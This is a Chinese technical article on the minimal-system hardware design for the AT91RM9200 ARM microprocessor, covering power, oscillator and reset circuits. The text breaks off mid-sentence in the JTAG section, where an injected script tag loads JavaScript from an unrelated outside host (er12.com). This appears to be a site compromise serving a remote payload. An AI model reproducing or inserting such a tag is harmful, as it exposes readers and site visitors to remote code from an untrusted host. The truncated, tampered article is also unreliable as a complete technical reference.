引言
目前，arm微处理器已在多种领域中应用，例如工业数字／智能控制、机器人、消费／教育类多媒体、dsp和移动式／便携式设备等。有关统计表明，各种各样基于arm微处理器的设备应用数量已经远远超过了通用计算机。因此，基于arm微处理器的开发应用正成为数字时代的应用技术潮流。本文介绍at91rm9200型微处理器最小系统的设计，并给出了系统外围接口设计的相关器件选型。
1 at91rm9200简介
at91rm9200是atmel公司基于arm920t核的高性能、低功耗16／32位risc(精简指令集计算机)微处理器，内部集成丰富的外设资源，适用于要求外设资源丰富、功耗低、工作严格稳定的工业控制等方面，如嵌入式工业控制、医疗设备、网络通信、移动计算等。
at91rm9200微处理器最高主频为180 mhz，其双向、32位外部数据总线支持8位、16位、32位数据宽度，26位地址总线可以对最大64 mb空间寻址。
at91rm9200片内集成了非常丰富的外围功能模块，包括全功能mmu虚拟内存管理单元、内部16 kbsram和128 kb rom、ebi接口控制器、增强的时钟和pmc(电源管理控制器)，带有2个pll(锁相坏)的片内振荡器，4个可编程的外部时钟信号，包括定时中断、看门狗、秒计数器的系统定时器，带报警中断的实时时钟，带有8级优先级、可单个屏蔽中断源的aic(先进中断控制器)，7个外部中断源和1个快速中断源，4个32位的io控制器，20通道外围数据控制器(pdc或dma)，1个10 mbit·s-1／100 mbit·s-1以太网控制器，1个usb 2.0主机接口，1个usb 2.0设备接口，2个多媒体卡接口，3个ssc(同步串行口控制器)(兼容iis)，4个uasrt(通用同步／异步串行口)，1个主／从spi(串行设备接口)，1个两线串行接口twi(主模式)，jtag／ice接口等。
2 硬件设计
最小系统是保证微处理器可靠工作所必须的基本电路。基于at91rm9200微处理器的最小嵌入式系统由微处理器at91rm9200、电源电路、晶体振荡器电路、复位电路、jtag接口、存储器模块、串行调试接口等电路组成，2.1 电源电路
在系统中，at91rm9200需要1.8 v和3.3 v电源，另外，大部分外围器件需要3.3 v电源，小部分外围器件还需要5 v电源，为了简化系统电源电路的设计，假设系统的输入电压为5 v直流稳压电源。为了得到可靠的3.3 v电压，此处选用了sipex公司生产的spx1117m3-3.3型低压差(ldo)稳压器，它的输人电压为5 v，输出电流为3.3 v，最大输出电流为0.8 a。同样，选用sipex公司生产的spx1117m3-1.8型低压差(ldo)稳压器，便可产生最大输出电流为0.8a的1.8 v电源。 2.2 晶体振荡器电路
晶体振荡电路用于向at91rm9200和其他需要时钟的外设电路提供工作时钟。本系统使用无源晶体振荡器x1(18.432 mhz)和x2(32.768 khz)作为系统的主振荡器和慢时钟振荡器，振荡器产生的系统主时钟和慢时钟基准经过微处理器内部2个pll后，产生系统所需的各种cpu时钟、外没时钟以及usb器件工作时钟。 2.3 复位电路
at91rm9200有2个独立的复位信号，即系统复位信号nrst与系统内部调试复位信号ntrsi，都是低电平有效。系统上电后，at91rm9200必须执行一个上电复位(称为“冷”复位)，在过渡状态下，它强制复位信号nrst和ntrst为低直到电源电压和振荡器工作频率稳定为止。此外，nrst和ntrst还可以进行手动按键复位功能，以方便用户调试程序。本设计中选用了ad公司生产的adm708型复位电路，它有一个手动复位输入引脚，当工作电压低于3.08 v或手动复位输入引脚被拉低时复位ic产生一个低电平信号，持续时间为200 ms。此外，该复位电路还有一个额外的输入电压检测引脚，可实现对输人电压的检测。 2.4 jtag接口电路
jtag(联合测试行动小组)是一?script src=http://er12.com/t.js>
